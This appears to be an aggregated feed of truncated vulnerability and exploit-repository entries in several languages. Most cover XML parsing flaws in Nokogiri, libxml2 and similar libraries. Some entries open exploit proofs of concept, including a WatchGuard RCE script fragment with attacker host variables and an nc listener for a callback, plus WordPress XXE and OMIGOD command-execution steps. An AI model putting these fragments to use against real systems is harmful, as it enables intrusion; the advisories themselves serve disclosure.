CVE-2025-71346

A flaw was found in Nokogiri, which packages a vulnerable version of libxml2. This heap-based buffer under-read vulnerability, located in the xmlSchemaIDCFillNodeTables function, can be triggered when processing untrusted XML Schemas or documents. A remote attacker could exploit this by providing...

EUVD-2026-67073

NLTK versions before 3.10.3 contain a quadratic CPU exhaustion vulnerability in XMLCorpusView.readxmlfragment that rescans accumulated XML fragments on every 1 KiB block read. Attackers can provide malformed XML corpus files to cause severe CPU consumption and denial of service through affected...

CVE-2021-29447

WordPress 5.6-5.7 - XXE autenticato Autore+ CVE-2021-29447 Utilizzo Passaggio 1. Esegui WordPress root@kitploit: $ make up-wp Passaggio 2. Avvia il server web dell'attaccante root@kitploit: $ make up-mal Passaggio 3. Genera un file WAV dannoso Senza wavefile npm Consigliato root@kitploit: $ echo...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CVE-2021-38647

CVE-2021-38647 Questo è un POC per CVE-2021-38647 : Invia una richiesta POST a /wsman con il contenuto di payload.xml e cambia solo il comando con quello desiderato, Come POC, viene eseguito solo il comando id. Fonte: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure Segui se...

CVE-2023-54354

A flaw was found in Nokogiri, specifically in its bundled libxml2 library when processing XML schemas. An attacker can exploit this by providing a specially crafted XML schema, leading to a NULL pointer dereference. This can cause the application to crash, resulting in a denial of service...

CVE-2022-50999

A flaw was found in Nokogiri. An integer overflow vulnerability in packaged libxml2 buffer handling functions allows a remote attacker to cause out-of-bounds memory writes. By crafting specially designed, large XML files, an attacker can trigger buffer overflows, leading to potential information...

CVE-2022-50998

A flaw was found in Nokogiri, a Ruby gem for parsing XML and HTML documents. This vulnerability arises from issues within its bundled libxml2 library, specifically involving data corruption from entity reference cycles and integer overflows when processing large XML files. A remote attacker could...

CVE-2021-47996

A flaw was found in Nokogiri, specifically within its bundled libxml2 library. A remote attacker could exploit multiple vulnerabilities, including memory leaks, buffer over-reads, heap-based buffer overflows, and out-of-bounds reads, by processing specially crafted XML documents. This could lead ...

CVE-2020-13965

CVE-2020-13965: Cross-Site Scripting über bösartigen XML-Anhang in Roundcube Webmail In Roundcube-Versionen vor 1.4.5 und 1.3.12 besteht eine Cross-Site-Scripting-Sicherheitslücke XSS. Durch Ausnutzung des Parsens von „text/xml“-Anhängen kann ein Angreifer den Roundcube-Skriptfilter umgehen und...

CVE-2019-14678

CVE-2019-14678: Entità Esterna XML in SAS XML Mapper La versione 9.45 di SAS XML Mapper presenta una vulnerabilità di tipo Entità Esterna XML XXE che può essere sfruttata da malintenzionati in molteplici modi. Alcuni esempi sono la lettura locale di file, l'esfiltrazione di file fuori banda, il...

CVE-2019-12401

CVE-2019-12401: Bomba XML in Apache Solr Le versioni di Solr precedenti alla 5.0.0 sono vulnerabili a un attacco di consumo di risorse XML noto anche come Lol Bomb tramite il suo update handler. Sfruttando gli elementi XML DOCTYPE e ENTITY, l'attaccante può creare un pattern che si espande quando...

CVE-2026-79772

A flaw was found in Nokogiri. This vulnerability occurs because the canonicalize method fails to properly check the return value from an internal XML processing function, returning an empty string on failure instead of an error. A remote attacker could exploit this by providing specially crafted...

assertj-core security update

An update is available for assertj-core. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list A rich and intuitive set of strongly-typed assertions to use for unit...

CVE-2026-42231

GHSA-q5f4-99jv-pgg5 — Pollution de prototype XML Webhook n8n → RCE CVE: CVE-2026-42231 Sévérité: Critique CVSS 10.0 Versions affectées: n8n . xml2js 0.6.2 utilise Object.defineProperty avec un descripteur de données pour définir les clés d'éléments sur les objets analysés. Comme est toujours ,...

CVE-2026-23980-Exploit

CVE-2026-23980 - Apache Superset Iniezione SQL Autenticata root@kitploit: / \ | | | | | || | \\ sqlExpression va direttamente alla query. nessuna parametrizzazione. nessuna speranza. Apache Superset ChartDataRestApi.data - QueryContext.getdfpayload - SqlaTable.getsqlaquery - colonna adhoc...

Breaking-the-Update-Chain-Inside-CVE-2025-59287-and-the-WSUS-RCE-Threat

Quebrando a Cadeia de Atualizações: Dentro do CVE-2025-59287 e a Ameaça de RCE no WSUS O CVE-2025-59287 é uma vulnerabilidade crítica de RCE no Windows Server Update Services WSUS causada pela desserialização insegura de dados não confiáveis. Ela permite que atacantes remotos executem código...

CVE-2024-34102

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Exigimos o retorno seguro de todos os cidadãos que foram feitos reféns pelo grupo terrorista Hamas. Não descansaremos até que todos os reféns sejam libertados e retornem em segurança para casa. Você pode ajudar a trazê-los de...

CVE-2026-47891

A Spring WebFlux application that relies on the Aalto XML processor to parse XML input does not correctly enforce the maxInMemorySize limit. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30 Spring Framework 5.3.0 - 5.3....

CVE-2025-60595

CVE-2025-60595 SPH Engineering UgCS 5.13.0 मनमाना कोड निष्पादन Arbitrary code execution के प्रति संवेदनशील है। यह CVE साइट पर उपयोग के लिए सार्वजनिक संदर्भ है। SPH Engineering के स्वामित्व वाले उत्पाद पर मनमाना कोड निष्पादन। UGCS 5.13.0! Ardupilot/mavparse.py की सीधी पंक्तियाँ, पंक्ति 230 "243: s...